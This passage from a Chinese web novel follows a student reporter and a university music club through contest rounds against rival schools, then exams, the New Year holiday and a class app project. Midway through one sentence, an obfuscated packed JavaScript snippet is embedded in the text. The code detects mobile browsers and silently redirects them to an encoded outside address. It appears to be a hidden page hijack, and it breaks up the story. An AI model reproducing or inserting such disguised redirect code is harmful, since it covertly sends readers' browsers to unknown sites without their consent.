她回到宿舍的时候，就收到了林嘉和发来的消息：“学妹，这是我们本学期最后一个工作了。周末学校会举办大学生音乐联赛的海选，我们对阵的是D大。因为是学校与学校之间的比赛，我们都要过去，你就负责写新闻稿吧。有信心站好最后一班岗吗？” 宋之雯回了个：“收到，保证完成任务。”还附上了一个“敬礼”的表情。 林嘉和回了一个笑脸，叮嘱了她一些注意事项，顺便送了两张票。 宋之雯转头把其中一张票给了舒青竹，不过寝室的其他人也通过学院拿到了票。比赛的那天各个学院都占据了一部分区域，座无虚席。 新媒体中心的同学早早就在观众席中间架起了摄像机。这次比赛要通过学校的官方视频号直播，所以不允许有一点闪失，大家都紧绷着神经。 宋之雯经过后台的时候，看社员正在做最后的开嗓练习，没有忍心打扰，只是对齐扬做了一个“加油”的手势。齐扬很快就看到了，对她笑笑还点了点头。 在开场前还有五分钟的时候，两位老师护着一个人进来了。大家在看清了那人是谁以后立刻爆发出一阵尖叫。他就是十年前很有名的歌手于川，以写大众情歌为主，当年商场还有出租车播放的都是他的歌曲。这两年虽然人气下滑得很厉害，但他的状态保持得还不错，留着个大背头，只有眼角有微微的皱纹，嘴唇和下巴一圈浅浅的胡茬，是个成熟的帅大叔。 三位在演播厅的第一排坐定。主持人上台介绍这是本次比赛的评委，每一对的胜负全都由他们决定，一共五局，赢了三局就算胜出。紧接着两队又派了代表上台抽签，抽到1的先出场，抽到2的后出场。 宋之雯密切地关注抽签情况，当齐扬把数字“2”展示给大家看的时候，她稍微松了一口气。还好，以晨星音乐社的实力，后出场有优势，不容易被遗忘。 抽完签之后比赛正式开始。对手D大同样也是数一数二的综合性大学，派出的选手也不是专门学音乐的，因此也算实力相当。 他们第一位上场的是位男生，唱了一首张信哲的《爱如潮水》。音准基本上没什么问题，但因为这首歌太耳熟能详了，总体听下来反应平平，没什么亮点。 轮到雷鸣上场了，他选的是信乐团的《离歌》，一开口，浑厚的腔体共鸣就让大家倒抽了一口气。到了高音的部分，如果说原唱是撕心裂肺，那么雷鸣则音域更宽广、更实在，把这首歌唱出了一种山河悲壮的感觉。唱完之后明显收获的掌声要比前面多一点。 两位选手站在台上，紧张地等待着评委的评判。 于川首先拿起了话筒：“按照顺序点评吧，第一位同学我觉得你的歌选错了，你的嗓音并没有那么亮，所以这首歌不适合你。而且这首歌表现也太平稳了，缺少情感递进。至于第二位同学，你是学过美声吗？” “对。”雷鸣没有想到会被提问，匆忙回答道。 “你犯的就是学美声的唱流行的通病，发音位置太靠后了。这样虽然听着很有气势，但一个是吐字不清，另一个是太满了反而不好听。” 雷鸣老实地点头：“谢谢老师，我会努力改进唱法的。” “虽然两位同学都存在一些问题，但我还是倾向把票投给2号同学。”于川举起了牌子，“另外两位老师的建议呢？” 旁边两位同样举了2号的牌子，这样3比0，雷鸣很轻松地赢了第一局。 第二轮D大派上来的是一个女生，当她一开口的时候，宋之雯就觉得这把不会太轻松。这位女生是那种大众的抒情女声，甚至带着点苦情，虽然缺少一点辨识度，但听感上十分入耳。而且她选的歌也十分讨巧，是讲述失恋故事的《我知道你很难过》。再加上她层层递进的表演以及心碎纠结的表情，勾起了不少人关于爱情的回忆。 钟天一显然是被她影响了，上来的时候手都在抖，麻秆一样的身影在这空旷的舞台上更显无助。不出意外，第一个音就飘了，宋之雯的心也跟着提了起来。 钟天一意识到自己失误以后，有一瞬间的慌乱，rap的节奏都没卡对。但他还是强迫自己冷静下来，尽量调整着节拍，到了下一句转换的时候完美地合上。紧接着他越说越快，声音也越来越强，渐渐找到了自己的状态。底下的观众也被他带动起来，跟随着他一起律动。 表演完了之后，于川首先笑了笑：“其实这两个表演我都挺喜欢的，女生细腻，男生很炸。当然也有不同程度的失误，男生节奏没卡对，女生其实也有几个音唱得不准。我想先看看其他老师的选择。” 他左边的一位评委犹豫了一下，举起了1号的牌子：“从 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姚琦唱完的时候，掌声还响了好一会儿才停止。于川等大家都安静下来之后，才试探性地问道：“这位同学，你是不是没有系统学过声乐？” 姚琦愣了一下，随后回答：“对，只在社团的时候社长教了些声乐技巧。” “怪不得呢......”于川皱了一下眉头，“不懂声乐的同学可能听着一会儿一个高音很厉害。但你的高音是硬挤上去的，这样的唱法很伤嗓子，你最好还是课外去补一下声乐。” 姚琦不断地点头：“好，我一定会去学的。” “不过嘛......”于川露出一个神秘的笑容，“我还是很喜欢你的表演的，爆发力很强，很有天赋，因此这次我选2号。” 姚琦短暂地开心了一下：“谢谢老师。” “我有不同意见。”于川左边的评委开口道，“从技巧上来讲的确是第一位同学更好一点，流畅度也更高，因此我选1号。” 大家不约而同地都把目光投向了第三位评委，气氛顿时紧绷到了极点。 “都把命运交给我了是吗？”评委为了缓解尴尬讪笑了几声，“两位同学各有特点，第一位同学律动感更强，节奏更好，第二位同学听感上更有冲击力。当然问题也是有一些的，第一位同学还可以更加放开一点，把气氛调动起来。第二位同学的高音技巧还需要再练练。不过既然是选择自己内心最喜欢的表演嘛......” 他叹了口气，举起了1号的牌子：“这次对不起2号同学了，我选1号。” 宋之雯反应了好一会儿才反应过来，姚琦竟然......输了？ 不止是她，底下的同学也不敢相信，张大了嘴巴问“为什么”。 姚琦的眼圈瞬间红了，心里充满了内疚，低着头不让眼泪掉下来，走下了舞台。 这样一来，压力就全都到了尹心悦身上。 因为再输一局，齐扬就根本不用上台了。 24. 第二十四章 蜂鸟 看得出尹心悦也很紧张，在候场的地方不断做着深呼吸，何瑜还在拍着她的背安慰她。 不巧的是前面这个女孩子和她一样选了邓紫棋的歌，势头也很猛，几个高音完成得非常漂亮。 轮到尹心悦上台了，她像是下定了决心，步伐坚定地往台上走去，宛如一个女战士。 在台上站定，放伴奏，一气呵成。她开口的两句就带着轻微的颤音，让这首歌蒙上了一层伤痛。然而她的气息却又无比沉稳，让人相信她不是紧张而是在能力范围内有意地设计。 拼图一片片失落 像枫叶的冷漠 墙上的钟 默默数着寂寞 到了副歌部分，她并不急着爆发，而是用假声轻描淡写地带过，整个过程控制得游刃有余。这样轻轻地诉说反而更容易让人感受到其中的悲痛。 在大家都已经适应了舒缓的旋律之后，尹心悦的歌声又发生了变化，高音在猝不及防中爆发开来，好像夜空中的烟花，效果无比绚烂。 像流星的坠落 绚丽地点亮了整个星空 像你故事在我生命留下 不褪色的伤口 从这阵高音之后，尹心悦就发挥了她积攒出的全部力量，声音撕扯着，痛痛快快地展示这自己的伤口。但每一个高音她都发挥得恰到好处，音浪既直冲天花板，又保留着情感，不会觉得尖锐。 等到她唱完最后一个字，忍了很久的观众不禁爆发出一阵欢呼。 评委服气地点点头，没什么交流就都举起了2号号码牌。 得知自己赢了的尹心悦这才如释重负，露出了灿烂的笑容，提着裙子优雅地谢了个幕，然后跑下台和队友相拥。除了齐扬五个人之外，其他人都跳了起来，这置之死地而后生的感觉实在太刺激了。 然而齐扬的表情却越来越凝重，因为他知道这一战不到最后一刻，谁也说不准。 他伸出了手，另外四个人很自然地把手叠放了上去。五个人手心的温度汇成了一股无声的力量，每个人都看到了对方眼里的坚定，然后握着手狠狠地甩了甩，喊了声加油。 “接下来是大家期待已久的最后一首歌了，哇哦，都是乐队呢。”主持人微笑着报幕，“看来今天C大主场，齐扬同学的人气很高啊，不过不着急，我们还是先来欣赏D大Urban乐队的表演。” Urban乐队的主唱是位年轻的男孩子，烫着爆炸头，穿着黑色的喇叭裤，上来就唱了首经典的《Beatit》，还同时带有灵活的滑步走位，连宋之雯都不得不承认他的台风很好。 终于轮到晨星乐队上场了，对大多数的成员来说，这可能是他们大学生涯里最后一次晋级的机会了。 成员今天的服装也别有用心，是黑色和橙色相间的毛衣，只是具体的图案花纹不一样，一上来感觉整个舞台都亮了起来。 齐扬默契地和其他人对视了一眼，轻快的音乐开始在报告厅里流淌，宋之雯一听前奏就听出来了，是苏打绿的《蜂鸟》。 传说中人类在远早 住于黑暗的地下之遥 派出了娇小的蜂鸟 找到通往光明的隧道 他开口的时候声音不似往日般低沉，反而十分通透，眼里也充满了惊喜，就像初入世界的少年，带着那份没有被世俗污染的纯真。 寻找太阳的梦自不量力说 自己也变成太阳的念头 有时候寂寞几乎扛不动 咽在喉咙里无人诉说 齐扬很会把握节奏，每一个要重点强调的字都精准卡在了鼓点上，好像重锤一样敲击人，震得人心里一颤一颤的，浑身的血液跟着沸腾。 我们到底在追求些什么 为何一直不断往前冲 捏出血的双手 忘了也能够稍微退后 我们总是以为能够自由 回过头那世界却依旧 哎爱她来的时候 别忘了捉那个梦 唱到副歌部分的时候，观众已经哗啦哗啦地全部站了起来，忘情地挥舞着手中的荧光棒，跟着齐扬高声歌唱。谁没有心怀梦想的时候呢？齐扬这首歌算是点燃了他们心中的那团火苗。 然而这还不够，到了第二遍副歌的时候，齐扬捏紧了拳头，配合着跺脚，几乎是用喊的力道把歌词喊出来。 寻找太阳的梦自不量力说 自己也变成太阳的念头 有时候寂寞几乎扛不动 咽在喉咙里无人诉说 就在这时，其他四个人的和声也加了进来，同样是愤怒地挥舞着拳头，有节奏地一下一下跺着地板，竟然形成了一种人山人海的气势。 观众很快就跟着模仿，每个人都或多或少有受过委屈的时候，此刻把积攒出的怨气都发泄了出来，像是血泊中的鸟儿发出的最后的嘶鸣。 一阵叫喊声过后，歌曲又重新归为平稳。然而这种状态只持续了一会儿，又突然急转直上，鼓声、键盘声、贝斯声和吉他声瞬间放大，拖着齐扬的高音到了顶峰。齐扬似乎是用尽了全身的力气，头腔和胸腔都在共鸣。 高音结束，整首歌就进入了收尾，一点不拖泥带水，完成得十分漂亮。 许多同学的情绪还没有从歌中缓过来，自发地喊着“齐扬”的名字，直到主持人上台制止了才停下来。 又要把命运交到评委的手上了，宋之雯紧张得手心都出了汗，她从来没有这么希望齐扬能赢。 左边的一个评委首先开口了：“两位不愧是社长，把压箱底的本领都拿出来了，贡献了一场高水平的对决。唱功都没有多大问题，不过从总体来说，因为1号选手加入了舞蹈，台风会更好一些，我选一号。” 宋之雯的心沉下去了一截，其他成员也倒吸一口冷气。 “我不同意。”于川举手，“既然是歌唱比赛，当然要看唱功。2号选手无论是从歌曲的起承转合，还是高音、和声，都堪称完美。况且你的形象也非常好，就是天生当明星的料。” 得到了这样的肯定，齐扬难得露出了笑容，深深给他鞠了一躬。 “我也认同于川老师的观点。”两人同时举起了2号牌子。 主持人脸上的笑容都快掩饰不住了，声音也激动得变了：“那么我们恭喜C大，成功晋级大学生音乐联赛的下一轮，很遗憾D大止步于此。” 吴衡转过来看着齐扬，有点不敢相信地问道：“我们......赢了？” “废话。”何瑜推了一下他的脑袋。 没等齐扬反应过来，晨星音乐社的成员已经冲了上去，把齐扬团团围住举了起来，大喊道：“社长牛逼！” 宋之雯也很想冲过去和他们一起庆祝。不过她还是要平复一下心情，因为她要和新媒体中心的成员一起收拾会场，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712060|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要......写稿子。 齐扬被举起来的时候先是懵了一下，随后用眼睛瞪底下的社员：“你们还把社长放在眼里吗？越来越无法无天了。” 社员笑嘻嘻地把他放下来：“这是我们庆祝的方式。” “要庆祝去‘暴风眼’庆祝。” “对哦。”社员揽过彼此的肩膀，“走走走，去酒吧，今天社长请客。” 齐扬是最后一个走的，走之前用手指了指门外：“我在‘暴风眼’等你。” 宋之雯点了点头，收拾的动作都不由自主地快了点。 林嘉和看出了她的心不在焉：“赶着和他们去聚会呢？” 宋之雯不好意思地摇摇头：“不着急，我收拾完再走。” “我来吧。”林嘉和拿过她手里的器材，“你快去吧，这里有我，稿子明天给我就行了。” “太麻烦了吧？” “没事。”林嘉和用眼神示意她，“去吧。” 宋之雯的脸上浮现出一丝笑意：“谢谢社长。” 当天晚上齐扬很难得放开了喝，并豪气地把他们的单全都免了。结果成员们个个喝得不省人事，这回换宋之雯把他们送回去了。 本学期最后一次热闹的活动落下了帷幕，接下来就进入了紧张的期末考试阶段。 宋之雯这回一共要考九门，在一周之内考完，因此时间非常紧凑，每天基本都泡在图书馆狂背。 “我现在终于知道，学姐说的最后两周死命地背是什么意思了。”舒青竹一脸生无可恋。 “这现代文学还算好背的，有事件，你看这思修才叫难背，句子都差不多。”杨灵的脸皱成了苦瓜。 至于钟小欢老早放弃了，只求低分通过就好。反正文科只要你写一点，给分还是宽松的。 “别聊了。”宋之雯苦笑道，“有这时间不如多背点。” “唉。”图书馆里响起了此起彼伏的叹气声。 考试的当天宋之雯起了个大早，准备再复习一下内容。在图书馆找位子的时候，忽然看见有个同学的面前放了一杯粥。在看清了那人是谁后，她忍住笑，敲了敲桌子：“同学，图书馆不能吃东西。” 齐扬抬起头，惊讶地看着她：“你怎么在这儿？” “我还想问你怎么在这儿呢？” “来不及吃早饭了，随便对付点。”齐扬朝她晃了晃手里的书，“我当然是复习了。” “你们大三还要考试？” “废话，你以为大三的课很少吗？” “我能坐这儿吗？”宋之雯指了指他对面的座位。 齐扬做了个“请”的手势：“随便。” 宋之雯坐了下来，开始翻书：“你不是说不在乎绩点吗？” “但是该考的试总是要好好复习的，不能挂科吧？” “你几点考试？” “十点。” “那这佛脚也算抱得及时。” “不像你们好学生。”齐扬抬头瞟向她的书本，“书记得满满当当的。” “行了，好好复习。”宋之雯用眼神警告他。 齐扬这才闭嘴，低头复习，两人相对无言，只剩下书页翻动的声音。 过了大概一个小时，齐扬“啪”地把书合上了，把喝完的粥丢尽垃圾桶：“我要去考试了，你加油。” 他笑着向宋之雯挥挥手，才转身消失在门口。 25. 第二十五章 雪花 宋之雯继续往下看书，却发现自己心情烦躁，怎么也看不下去了。就这么僵持了好久，她索性收拾好东西，提前去吃饭，吃完和舒青竹结伴去考场。 第一门是中国史，外面聚集了拿着书本背诵的人，被老师再三催促后才恋恋不舍地放下。 宋之雯心里也很忐忑，拿到试卷后她发现都是平时上课讲过的题目，心定了一些。 几门考试下来，除了现代汉语有些难之外，剩下的都是比较基础的题目，不至于写不出东西。不过对于平时上课一点不听的人来说，就具有挑战性了。 最后一门考完，舒青竹一蹦一跳地出了考场：“终于考完了，我命都快没了，现在、只想、立刻回家。” “你几点的车票？”宋之雯问。 “我晚上就走，一刻都不想在这里待了。”舒青竹转过头来，“你什么时候走？” “我爸妈来接我。” “真好啊。”舒青竹仰天长啸，“有时候我都怀疑自己是不是他们亲生的。” 晚上宋岩峰准时开着车来了，于爱丽一下车就嘘寒问暖，说又瘦了，直到宋之雯拼命解释自己其实是胖了，并称体重给他们看才作罢。问起社团的事情，宋之雯扯了个谎说老早退了，于爱丽这才满意地点头。还有就是关于在学校里的一些情况，宋之雯借口说自己累了，靠在车后座睡了过去。 成绩过了几天就出来了，除了一门思修被卡了绩点外，其余的都是九十多分。于爱丽也对成绩很满意，免去了许多唠叨。 过年在家的生活十分无聊，宋之雯每天就是跟着爸妈走亲戚，说几句虚假的祝福话，几天下来脸都要僵了。 除夕当晚一家人都不喜欢看春晚，因此早早关电视睡了。宋之雯溜回房间，忽然想知道齐扬现在在干什么，因此鬼使神差地拨通了电话。 精致的小楼里，饭桌上的菜热了又热，连旁边的方姨都劝道：“太太，您就先吃吧，董事长今天不会回来了。” 被叫做“太太”的女人穿着白色的羊绒毛衣，显出她姣好的身材。棕色的秀发绾成一个髻，脸上化着精致的妆容，虽然已经四十多了，却依旧能窥见年轻时候的风韵。 她平静地说道：“再等等。” 齐扬实在看不下去了，夹了一筷子菜就塞到嘴里：“妈，每年都是这样，你又不是不知道。” 女人一把把他手上的筷子拍掉：“你懂什么。” 正好这时候电话响起，齐扬便起身到窗边接电话，里面传来宋之雯的声音：“哈喽。” “怎么突然想到给我打电话了？”齐扬嘴角上扬。 “今天不是除夕嘛，你现在在干嘛？和家人吃年夜饭？” “对。”齐扬深吸一口气，“里边可吵了听不清，你有什么话快点说。” “你考试考得怎么样？” “你打电话就为问我这个？”齐扬想笑又笑不出来，“还行吧，中等。” “我这边下雪了，可好看了，你那边呢？” 齐扬往窗外看去，外面是有隐隐约约的雪粒子飘荡，好像天上的精灵：“我这边也下了。” “那我们也算看过同一场雪了。” 沉默了好一会儿，宋之雯又说：“祝你新年快乐，我先挂了。” “嗯，新年快乐。”齐扬回道。 “谁呀？”在齐扬走回桌子的时候，齐太太问道。 “一个朋友。”齐扬把手机放回口袋里，转身向卧室走去，“我先睡了啊，妈。” “唉，老的小的这一个个都不省心。”齐太太直摇头。 “太太放宽心，孩子大了有自己的想法，再等一会儿，没准董事长就回来了呢。”方姨赔笑道。 然而直到天快亮了，也没见这位董事长的踪影。 宋之雯在家待了几天实在无聊，索性把现代文学老师推荐的书单找出来全都看了。看小说看得头痛时，她拿起手机打算放松一下，滑着滑着又滑到了齐扬的名字，便拨了电话过去。 齐扬很快就接了起来：“什么事？” “寒假在家好无聊啊，没事干，同学都在拜年，出去旅游人又多。” “哦？没事干所以拿我找乐子？” 宋之雯慌了神：“我不是这个意思。” “我开玩笑的。”齐扬露出胜利的笑容。 “对了，你现在在干嘛？”宋之雯问。 “我已经回学校了，这几天打扫一下录音棚，准备乐队的排练。” 宋之雯惊讶：“这么早？” “开学之后就是淘汰赛了，被淘汰复活的机率就很小了，必须保证万无一失。” 宋之雯想了想又不知道该说什么，半天才挤出一句：“那你加油。” “嗯。” 完了她又补充：“我尽量提前几天回去，也可以看你们排练。” “好。” 看实在没什么可说的了，宋之雯只能挂掉了电话。 大年初八，乐队正式排练。 韦峰是最后一个赶到的，一进门就骂骂咧咧：“我靠齐扬你还是人吗？人家初八上班你就初七排练，我这一下飞机就赶过来了。” 齐扬的脸色冷了下来，盯着韦峰看：“接下来就是淘汰赛了，每一场都至关重要，输了就淘汰了，我问你想不想赢？” 韦峰立刻怂了：“想赢，想赢。” “那就干活吧。”齐扬打开了柜子，拿出自己的立麦。 过年的时候录音棚已经积了不少灰尘，几个人先打扫了一遍，尘土飞扬，呛得连连咳嗽。还有乐器太久没使用走音了，要重新调音。 太久没练手也生了，刚排练的时候吴衡就弹错了一个音，尴尬地笑笑：“对不住啊各位，我的错我的错。” 好在这几年他们的默契已经养成了，没过多久旋律就流畅了起来。 试了好几首歌之后，成员们在风格上产生了分歧。 “如果说想要打动评委的话，这歌肯定不能太平了，得炸一点的，来一首硬摇滚怎么样？”齐扬问。 “但是从目前的趋势来看，大众还是喜欢抒情一点的，建议抒情摇滚。”吴衡反对。 “我同意吴衡的观点。”韦峰主动举手。< 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“臭小子，又拿我打趣。”何瑜佯装踹了他一脚。 韦峰清咳了一声：“我说，这次参加淘汰赛的阵容我们也要确定一下吧？” “你提醒我了。”齐扬的表情又恢复了正经，“根据上一次的比赛情况来看，钟天一的风格用来竞技的确很吃亏，我在考虑换个人，其他人都还可以，保持不变。” “可是钟天一这孩子真的很有潜力，只是舞台经验太少了容易紧张，多锻炼锻炼就好了。”何瑜为他辩解。 齐扬用手势阻止她继续说下去：“瑜姐，钟天一才大一，以后还有很多机会，可是我们没有多少时间了。” 何瑜沉默了。 “你如果说不出口，我来替你说，放心，保证不伤人，就说要给其他的社员更多机会，我们轮换着上。”齐扬拿起手机开始打字，“如果说还是传统的芭乐情歌吃香的话，把方晴叫过来吧。” 何瑜走开去打电话了，算是做出了无声的让步。 大年初十，所有成员到齐，开始了紧锣密鼓的排练，目标只有一个，就是力争在淘汰赛晋级。因此大家早出晚归，一刻都不敢懈怠。 开学的前几天，宋之雯也熬不住了，随便编了个理由说要提前过去适应适应，并且不要人送。宋岩峰和于爱丽也没多想就答应了，于是宋之雯喜滋滋地乘着高铁回到了A市，自此录音棚里又多了一个带饭和打杂的人。 抽签是由齐扬去比赛现场抽的，那天下午所有的人都没心思排练了，默默地祈祷自己抽到一个弱一点的对手，好顺利晋级。 快到晚上的时候，齐扬回来了，面色凝重，只是看着大家，也不说话。大家被这样的气场吓住了，没有一个人敢上前。 还是韦峰按耐不住走了一步，摇晃着齐扬的肩膀：“你说啊，到底抽到谁了？是天王老子还是阎王老爷？” 齐扬把纸展开，绕着大家走了一圈：“我们的对手是A大，全国最顶尖的音乐学院。” 26. 第二十六章 对手 “我靠。”韦峰忍不住叫了出来，“齐扬你手气可真好啊，一抽一个准。” “当初叫你去抽签你不还不去吗？”齐扬瞪了他一眼。 吴衡哀嚎起来：“那A大各个都是专业的，这叫我们怎么打啊？” “别鬼叫了。”何瑜试图捂住吴衡的嘴巴，“对手强大怎么了？又不意味着我们不能赢，事到如今只能背水一战了，因此大家得更加努力地排练，明白吗？” “明白了，瑜姐。”大家的声音喊得整齐又响亮。 接下来的时间，齐扬几乎和着了魔一样，除了吃饭和上厕所就不出排练厅。宋之雯来送饭的时候，已经能清晰地看到他结块的头发和下巴上的胡茬，但她明白齐扬一旦下定了决心是劝不住的，只能默默把饭放下走了。 新学期就在这样紧张的氛围中悄然而至。 宋之雯接到的第一个任务是采访获挑战杯全国金奖的学长学姐，那几个人是生物专业的，天天穿着白大褂在实验室里做实验，最后不仅本科就发表了SCI，还成功保研。 和学霸采访就是舒服，学长学姐已经提前准备好了各类证书和材料，遇到宋之雯不会的专业名词还温柔地提醒，因此进行得异常顺利。听到这四年他们几乎没有什么娱乐活动，每天九十点钟才回去的时候，宋之雯差点惊掉了下巴，为自己的懒惰而深深惭愧。 收拾好器材，宋之雯和林嘉和结伴出来，一路上不断默念着这些人多少多少厉害。林嘉和忽然停下了脚步，转过头来对她说：“阿雯，你有考虑过申请课题吗？” “我？”宋之雯指了指自己，“别开玩笑了，我们文科又不像他们理科能做实验，申请什么课题？” “那不一定。”林嘉和重新走回她身边，和她结伴而行，“做个app，或者说调查报告，都可以算课题嘛，你不要想得那么复杂。再说这课题最重要的是申报书，做得好看点就行，能立项就是成功了一半，还有加分呢。” “真的？”宋之雯两眼放光，“能加多少分？” “要看比赛的大小了，全国估计有点困难，校级还是可以的。大学就是用来学习各项技能的，你可以试试。” “部长。”宋之雯眨巴着眼睛央求着他，“你们现在有课题吗？带带我呗。” 林嘉和被她逗笑了：“我们那个不行，快进入收尾阶段了，再说你专业也不对口。” “好吧。”宋之雯叹了口气，“那我还是自己搞吧。” 和林嘉和聊完后，她马上联系了舒青竹，舒青竹看她一副风风火火的样子，疑惑地把她上下打量了一遍：“你这么着急叫我来干嘛？” “你有没有兴趣做课题？” “啊？”舒青竹怀疑自己听错了，“我们？搞科研？你没开玩笑吧？” “不是要你真的搞科研，我们部长说了，只要你申报书做得漂亮点，能立项，最后结题随便交点材料就行。” 舒青竹还是不信：“能行吗？” “试试又没关系，再说我们学院现在竞争这么激烈，能多一点加分也是好的。” “好吧。”舒青竹勉强答应了，“人呢？你凑齐了吗？” “我认识一个学工科的朋友，问问看。”宋之雯发消息给项婉，大意是她们现在想做一个app的课题，需要会计算机的协助，问她愿不愿意。出人意料的是，项婉很爽快地答应了，因为她在学院也没什么朋友，做课题都不愿意带她。 “好，那我一个，你一个，项婉一个，还有杨灵......”舒青竹掰着手指头，“你还能拉来人吗？至少要五个人呢。” 说到这儿，她们勉为其难地对视了一眼，然后同时说出了心里的那个答案：“要不找她？” 这个“她”自然指的是钟小欢。 说实话钟小欢的确不算一个最佳的选择，因为她对学院的事情都是漠不关心的状态，但她们和学院其他的女生也不算熟，没有别的办法了。 “能行吗？”舒青竹叹了口气，“别到时候又什么都不干。” “就当凑个人头，当个吉祥物嘛。”宋之雯安慰她。 “行，你看着办吧。”舒青竹一摊手。 于是课题组的第一次卧谈会就这么在宿舍召开了。 钟小欢在会议之前就申明随便她们搞，她只负责听着，说完就在床上吃零食。 “既然我们有四个都是汉语言文学专业的，做的app肯定要与这个有关。”宋之雯先发言，“项婉能接受吗？” 项婉点点头。 宋之雯继续说：“关于我们要做什么样的app，各位有什么好的建议吗？” “给小孩子玩的识字小游戏呢？”杨灵提议。 宋之雯一票否决：“这类app我看过了，太多了。” “我有一个主意。”舒青竹突然举手，“我课余时间去做过家教，发现家长都不愿意找语文的，因为他们认为语文花的时间长，提分慢，尤其是阅读和作文很难搞。我在想能不能做个app把各类真题都导入，在上面刷题，还有AI改作文，各类学习资源的视频，省了家教钱。” 项婉清咳了一声，阻止她继续说下去：“你说的这些都是需要技术和人力成本的。” “我只是设想嘛。”舒青竹嘿嘿一笑。 “好，这个主意不错，那我们就先去调查一下现在的学生有什么需求，以及市面上同类型的app是什么样的好吧？”宋之雯拍板。 一个巨大的草台班子就建立起来了。 与此同时，晨星音乐社也要面临和强大的A大对抗。 淘汰赛主办方明显重视了很多，地点设在本市的体育馆，宋之雯靠韦峰的关系拿到了内部票。比赛的当天有好几所学校的成员都来了，人山人海。宋之雯一眼就注意到了A大的学生，个个染着五颜六色的头发，画着夸张的妆容，有一个女生甚至还打了唇钉。虽然她自认为晨星音乐社以及算走在时尚的前沿了，但比起这些学生还是自愧不如。 晨星音乐社的比赛排在最后一场，宋之雯进去先找了个位置坐下。不得不说淘汰赛的水平就是高，双方的实力都很接近，你争我赶互不相让，有几个唱得不错的淘汰了宋之雯直呼可惜。 熬了一下午，终于等到了雷鸣上场，宋之雯屏住呼 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她的对手就是宋之雯刚刚看到的那个唇钉女。个子小小的，胳膊上布满了纹身，银灰色的头发高高扎成一个马尾，画着很浓的烟熏妆，眼神透着一股冷意。 她的选歌也有种剑走偏锋感，是蔡健雅的《失语者》。一开口就是那种漠视一切的慵懒的声音，好像在你的心上挠痒，然而到了副歌部分又如一把锋利的剑刺出。 方晴越听越心慌，几乎快要哭出来了。 到了投票环节，评委还是很给面子地给方晴留了一票。唇钉女脸上带着胜利的笑容，得意地撇了方晴一眼。 宋之雯的心里咯噔了一下，她注意到在场边等候的齐扬和何瑜脸色也难看极了。他们已经连输两场了，这意味着剩下的每一场都是生死之战，一旦再输，他们就可以直接回家了。 姚琦不断地来回踱步，做着深呼吸。她其实心里也没底，上次其实她已经竭尽全力了，却还是输了，她始终迈步过这个坎。 不过眼下没有别的办法，只能背水一战了，拼就得了。 她捏紧了话筒，按照自己平时排练的开始唱。经过反复多遍的练习，身体已经自然地形成了肌肉记忆，紧张感也慢慢消失。姚琦觉得自己胸腔的共鸣被打开了，到了高音的部分很自然地顶了上去，赢得了阵阵喝彩。 对手同样也唱了一首风格类似的抒情歌，就看评委更倾向哪一个了。 第一位评委沉思了一会儿，开口道：“1号选手，你的身体机能真的太好了，头腔胸腔共鸣都用得很足，比很多音乐专业的还好。” “我不太同意。”另一位评委马上跳了出来，“虽然1号技巧很好，但2号情感更足，更能唱到我心里去。” “我个人更偏向1号。” “2号。” 评委齐刷刷地看向了最后一位还没有发言过的。 “就让我做这个恶人了是吗？”那位评委笑了，“从今天的临场发挥来看，还是1号更好，况且我知道C大后面也有很多高手，我想看他们继续比赛。” 宋之雯差点捂着嘴叫出来了，太好了，他们晨星音乐社又“起死回生”了。 27. 第二十七章 考验 不过短暂的兴奋过后，宋之雯的心又沉了下去，因为尹心悦的那一局也至关重要。 尹心悦的脸上没什么表情，还站在候场处默念歌词，以宋之雯对她的了解，这是掩饰紧张的表现。 终于主持人通知她上台，她利落地拿过话筒，走到了聚光灯下。 音乐响起，又是那道清澈干净的女声，它以一种温和的方式，一点一点地攻占着你的心。 站在狂风的天台一望无际 这一座孤独的城市 在天空与高楼交界的尽头 谁追寻空旷的自由 尹心悦这回“柔”了很多，收敛了自己平时的锋芒，声音百转迂回，好像就在你的耳边和你慢慢倾诉，让你不由自主地想沉浸其中。 不过到了副歌部分，她又亮出了自己锐利的一面，捏紧拳头，情感随之起伏，眼神带着若有若无的倔强。 我不放弃爱的勇气 我不怀疑会有真心 我要握住一个最美的梦 给未来的自己 不管怎样怎样都会受伤 伤了又怎样 至少我很坚强我很坦荡 在大家都选择大开大合地飙高音的时候，尹心悦做这样一种减法无疑是冒险又聪明的举动。这首抒情歌一出，原本被各种声音刺激得疲惫的观众又忍不住抬起了头，望向舞台。 尹心悦的声音一层层递进，在叠到最高处时，又如烟花般炸开来，随后音乐一停，干净利落地收尾。 一如既往稳定发挥。 尹心悦在大家的掌声中走下台，随后又上来一位高个子女生，选的也是一首情歌，发挥也同样出色。 评委的笑容让人摸不透他们的想法：“1号的技巧很好，有层次有递进，但2号的叙事感更强，更容易唱到人的心里。” 他们就这么一来二去地把两位选手夸了一通，就在宋之雯都等得不耐烦的时候，一位评委才说道：“差不多了，我选1号。” “2号。”响起了不同的声音。 不过这个声音很快就被掩盖了，因为其他评委都举起了1号的牌子，多数压倒了少数，尹心悦胜利。 吴衡在台下做了个胜利的手势，何瑜忍不住和其他人抱在了一起，这个机会太来之不易了。 稍作调整，晨星乐队的成员们就抄着家伙颇有气势地上台了，往那儿一放，发出乒乒乓乓的声音，像在向对手挑衅。 灯光暗了下来，成员很有默契地奏响了第一个音，重金属的音浪朝人扑面而来。 快乐就是别人跟不上你的节奏 烦恼忧愁早已远远抛在你身后 所有机会 都不需要小心翼翼再去强求 齐扬这回是拼尽了全力，开头就大喊了一声，然后一跃而起，全程蹦着开始唱这首歌。 在你的世界里随心所欲 别去理会满天的无聊话题 在你的世界里随心所欲 只要你能活出一个最好自己 唱到尽兴处，他还使劲挥舞着手臂，试图带动着观众一起唱。果不其然有一部分观众被他感染到，站了起来和他一起唱。 只是不知道是不是跳了消耗体力的原因，宋之雯总觉得齐扬的声音闷在里面出不来，歌曲情感到顶峰的时候没有爆发出来，永远差那么一口气。 